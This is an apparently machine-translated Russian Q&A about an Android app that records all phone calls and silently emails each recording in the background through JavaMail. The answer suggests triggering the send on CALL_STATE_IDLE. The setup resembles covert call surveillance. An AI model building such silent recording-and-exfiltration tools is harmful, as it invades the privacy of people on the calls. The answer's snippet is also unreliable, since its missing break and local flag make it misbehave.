CALL_STATE_IDLE вызывать несколько раз?
Я создал приложение для записи звонков, которые записывают все входящие и исходящие звонки. Приложение работает отлично, я проверил его. Мне нужно отправить фоновое электронное письмо (без использования пользователя, используя JAVAMAIL
) для записанного файла. У меня есть рабочий код для отправки почты с вложением. Я создал вещательный приемник, который слушает PHONE_STATE
а также NEW_OUTGOING_CALL
, Запуск / остановка Broadcast Receiver Услуга записи в соответствии с изменением состояния телефона. У меня вопрос, как мне интегрировать код отправки электронной почты с приложением. Я знаю, что должен вызвать метод отправки почты в CALL_STATE_IDLE
, Но так как метод вызывается несколько раз, я не могу этого сделать.
Я запутался, что это CALL_STATE_IDLE
это правильное место для отправки электронной почты в фоновом режиме, потому что это происходит несколько раз.
Для входящего вызова состояние телефонаCALL_STATE_RINGING
CALL_STATE_OFFHOOK
CALL_STATE_IDLE
Для исходящего звонка состояние телефонаCALL_STATE_IDLE
CALL_STATE_OFFHOOK
CALL_STATE_IDLE
любая помощь плз.. спасибо заранее
CallBroadcastReceiver.java
public class CallBroadcastReceiver extends BroadcastReceiver {
public static boolean IsOutgoingCall = false;
public static String callNumber = "";
public void onReceive(Context context, Intent intent) {
Log.d("CallRecorder", "CallBroadcastReceiver::onReceive got Intent: "
+ intent.toString());
if (intent.getAction().equals(Intent.ACTION_NEW_OUTGOING_CALL)) {
String numberToCall = intent
.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
Log.d("CallRecorder",
"CallBroadcastReceiver intent has EXTRA_PHONE_NUMBER: "
+ numberToCall);
IsOutgoingCall = true;
callNumber = numberToCall;
}
PhoneListener phoneListener = new PhoneListener(context, intent);
TelephonyManager telephony = (TelephonyManager) context
.getSystemService(Context.TELEPHONY_SERVICE);
telephony.listen(phoneListener, PhoneStateListener.LISTEN_CALL_STATE);
Log.d("PhoneStateReceiver::onReceive", "set PhoneStateListener");
}
}
PhoneListener
public class PhoneListener extends PhoneStateListener {
public static Context context;
private Intent intent;
public PhoneListener(Context c, Intent i) {
Log.i("CallRecorder", "PhoneListener constructor");
context = c;
intent = i;
}
public void onCallStateChanged(int state, String incomingNumber) {
Log.d("CallRecorder", "PhoneListener::onCallStateChanged state:"
+ state + " incomingNumber:" + incomingNumber);
switch (state) {
case TelephonyManager.CALL_STATE_IDLE:
Log.d("CallRecorder", "CALL_STATE_IDLE, stoping recording");
Boolean stopped = context.stopService(new Intent(context,
RecordService.class));
Log.i("CallRecorder", "stopService for RecordService returned "
+ stopped);
break;
case TelephonyManager.CALL_STATE_RINGING:
Log.d("CallRecorder", "CALL_STATE_RINGING");
Log.d("CallRecorder",
"CallBroadcastReceiver intent has EXTRA_PHONE_NUMBER: "
+ incomingNumber);
CallBroadcastReceiver.IsOutgoingCall = false;
CallBroadcastReceiver.callNumber = incomingNumber;
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
Log.d("CallRecorder", "CALL_STATE_OFFHOOK starting recording");
Intent callIntent = new Intent(context, RecordService.class);
ComponentName name = context.startService(callIntent);
if (null == name) {
Log.e("CallRecorder",
"startService for RecordService returned null ComponentName");
} else {
Log.i("CallRecorder",
"startService returned " + name.flattenToString());
}
break;
}
}
}
sendEmailWithAttachment ()
File attachedFile = new File("/mnt/sdcard/Recording/123456789.mp4");
if(attachedFile.exists() && attachedFile.canRead()) {
Log.v("SendMail", "File Exists");
GMailSender sender = new GMailSender("your@gmail.com","your@gmail.com"); //<<< Enter Here
sender.sendMail("Subject", "Body ",
"your@gmail.com", "to@gmail.com", attachedFile);
emailsStatus = 1; // Send
} else {
emailsStatus = 2; // File Not Exists
Log.v("SendMail", "File Not Exists");
}
1 ответ
При входящем звонке состояние будет,
Если выбрано получателем:
CALL_STATE_RINGING CALL_STATE_OFFHOOK CALL_STATE_IDLE
Если не выбрано получателем:
CALL_STATE_RINGING CALL_STATE_IDLE
При исходящем звонке состояние будет:
Если выбрано получателем:
NEW_OUTGOING_CALL CALL_STATE_OFFHOOK CALL_STATE_IDLE
Если не выбрано получателем:
NEW_OUTGOING_CALL CALL_STATE_IDLE
В вашем случае вы хотели бы отправлять почту только в том случае, если вызов был получен, поэтому я бы предложил в CALL_STATE_OFFHOOK установить логическую переменную в значение true, чтобы знать, что вызов был получен, и позже, если переменная имеет значение true, тогда в CALL_STATE_IDLE отправьте письмо и установить переменную false для следующего вызова. Вы не против, если это был входящий звонок или исходящий звонок.
Boolean iscallreceived=false;
switch (state) {
case TelephonyManager.CALL_STATE_OFFHOOK:
iscallreceived=true;
//your other code
case TelephonyManager.CALL_STATE_IDLE:
if(iscallreceived){
sendmail();
iscallreceived=false;
}